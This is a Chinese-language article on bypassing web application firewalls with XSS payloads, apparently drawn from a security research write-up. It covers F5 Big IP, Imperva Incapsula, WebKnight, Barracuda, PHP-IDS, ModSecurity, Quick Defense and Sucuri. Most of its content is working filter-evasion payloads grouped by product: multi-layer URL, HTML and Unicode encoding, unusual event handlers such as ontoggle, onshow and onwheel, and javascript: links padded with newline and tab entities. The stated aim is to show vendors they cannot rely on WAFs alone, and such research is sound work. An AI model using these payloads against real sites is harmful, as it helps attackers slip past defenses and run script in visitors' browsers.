# WAF 的 XSS 绕过姿势

## 1、 概要

由于应用防火墙的广泛使用，实验测试 WAF 抵御 xss 攻击的能力变的很有必要。当然所有的实验就是为了证明厂商要从根源上杜绝漏洞，不能躺在 WAF 上高枕无忧。

实验测试的对象是一些流行的 WAF 例如 F5 Big IP、Imperva Incapsula、AQTRONIX WebKnight、PHP-IDS、Mod-Security、Sucuri、QuickDefense、Barracuda WAF 他们都在测试中被绕过。

## 2、介绍

Web 应用防火墙（WAF）是一个应用，服务器插件，或者过滤器，利用一系列规则过滤 http 会话。通常这些规则用来防御常规威胁，XSS，SQL 注入和一些 web 相关的漏洞。本次测试只关注 WAF 保护的绕过方法。

## 3、 测试环境

Google Chrome

Opera Browser

Mozilla Firefox

Internet Explorer

## 4、测试结果

1. Imperva Incapsula

测试中发现，Imperva Incapsula 过滤了很多常见的 xss 载荷，例如 <img/src="x"/onerror="alert(1)">就被过滤了。同时发现<img src=x onerror="input">没有检测出来，绕过过滤的唯一的障碍就是寻找在 error 上的行为。alert(), prompt(), confirm(), eval() 全被禁止，只能找其他替代的方法证明 xss 漏洞的存在。

1.1 第一次绕过

Double URL 编码 + html 编码 + Unicode 编码 （全浏览器通过）

double-url 编码存在于多次 URL 解码客户端输入的特定服务器。

```
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25

23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25

26%2523x29%3B%22%3E
```

1.2 第二次绕过 ：JS-F**K 载荷（全浏览器）

第二个绕过基于 JS-F**K——一种七个字符创建 JS 的技术，载荷结构跟上面大体相同，

```
<img/src="x"/onerror="[JS-F**K Payload]">
```

动作没问题，唯一的缺点是长度。大多数服务器都对 GET 请求 URL 有严格要求，因此用于 POST 请求更好一点。除了这些，这个载荷看起来很完美。

2. WebKnight

WebKnight 测试很不一样，它的一系列过滤规则有安全社区频繁的更新，实验确定了两种绕过方法只影响 WebKnight v4.1 ，v4.2 版本就修复了。

2.1 第一次绕过 ontoggle JS Event （Google Chrome）

这次只在 Chrome 中有效。

toggle() 方法切换元素的可见状态。

如果被选元素可见，则隐藏这些元素，如果被选元素隐藏，则显示这些元素。只在 chrome 中支持。

```
<details ontoggle=alert(1)>
```

2.2 第二次绕过 Onshow JS event （Mozilla Firefox）

应用了 onshow 的 JS 事件 ，用户单击触发脚本，绕过 WebKnight 的 xss 过滤。

```
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow
="alert(1)">
```

3. F5 Big IP

F5 Big IP 是公认的企业级应用防火墙，要发现 xss 绕过思路不仅限于 action。

3.1 第一次绕过 ： Onwheel JS 事件 + 在样式属性上指定高度调整页面大小 (Google Chrome &Mozilla Firefox & Opera Browser)

```
<body style="height:1000px" onwheel="[DATA]">
```

3.2 第二次绕过 ：Onshow JS event （Mozilla Firefox）

用户单击，脚本触发。

```
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow
="[DATA]">
```

3.3 第三次绕过：JS-F**K 载荷(Google Chrome & Mozilla Firefox & Opera Browser)

```
<body style="height:1000px" onwheel="[JS-F**k Payload]">

<div contextmenu="xss">Right-Click Here<menu id="xss" onshow
="[JS-F**k

Payload]">
```

3.4 第四次绕过 ：HTML 编码 + Double URL 编码(Google Chrome & Mozilla Firefox & Opera Browser)

```
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">

<div contextmenu="xss">Right-Click Here<menu id="xss"

onshow="prom%25%32%33%25%32%36x70;t(1)">
```

4. Barracuda WAF

结果和 F5 Big IP 一样。

4.1

```
<body style="height:1000px" onwheel="alert(1)">
```

4.2

```
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
```

5. PHP-IDS

通过审查过滤规则发现 JS 事件并不在黑名单中。除此之外，PHP-IDS 的主要保护措施就是基于 JS 事件的 action。例如，alert()立刻就会被 PHP-IDS

发现，同时，所有目前已知的编码技术都被过滤了，还有特定的保护措施防御载荷结构。所以不得不另辟奚径利用一些浏览器行为绕过保护机制。

5.1 第一次绕过：应用浏览器响应用户输入的行为

```
<svg+onload=+"[DATA]"
```

可以绕过 PHP-IDS v0.7

5.2 第二次绕过：double URL 编码

```
<svg+onload=+"aler%25%37%34(1)"
```

6. Mod-Security

实验表明 Mod-Security 对恶意的请求特别敏感，例如，hello%20onsomething=dosomething 就因为 onsomething 看起来像 JS 事件 被标记为潜在的 xss 脚本攻击。因此要关注内部可用来绕过过滤的漏洞。

6.1 第一次绕过 使用(
)和(	) (Google Chrome & Opera Browser & Internet Explorer)

这个载荷包含了一个指向 javascript 载荷的链接 ,通常这种方法一定会被检测出来，但是我们用了大量的 new lines 和 tab 成功绕过。

```
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
```

6.2 第二次绕过 US 编码绕过 （只有 IE6 和 IE7）

```
%script%alert(¢xss¢)%/script%
```

6.3 第三次绕过 Triple URL 编码

```
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
```

7. Quick Defense

当前 Quick Defense 的过滤规则还不足以支持产品级的 web 应用，尽管黑名单中有很多 JS 事件，用一些编码技术就能绕过。

7.1 第一次绕过：OnSearch JS 事件 + Unicode 编码 （Google Chrome）

```
<input type="search" onsearch="aler\u0074(1)">
```

7.2 第二次绕过 ：OnToggle JS 事件 + Unicode 编码（Google Chrome）

```
<details ontoggle="aler\u0074(1)">
```

8. Sucuri WAF

Sucuri WAF 对恶意请求同样相当敏感。在今年四月，许多研究者完全绕过了 Sucuri WAF 因而所有的发现都被修补好了，只能依靠旧版的浏览器才能实现 xss。

绕过方法 ：US 编码 （IE6 和 IE7）

```
¼script¾alert(¢xss¢)¼/script¾
```

## 5、小结

结合各自 WAF 的弱点构造攻击向量绕过过滤器是完全可能的事情，对厂商来说，WAF 可以让攻击者花费更多的时间，但是从根本上调查修补漏洞依然必不可少。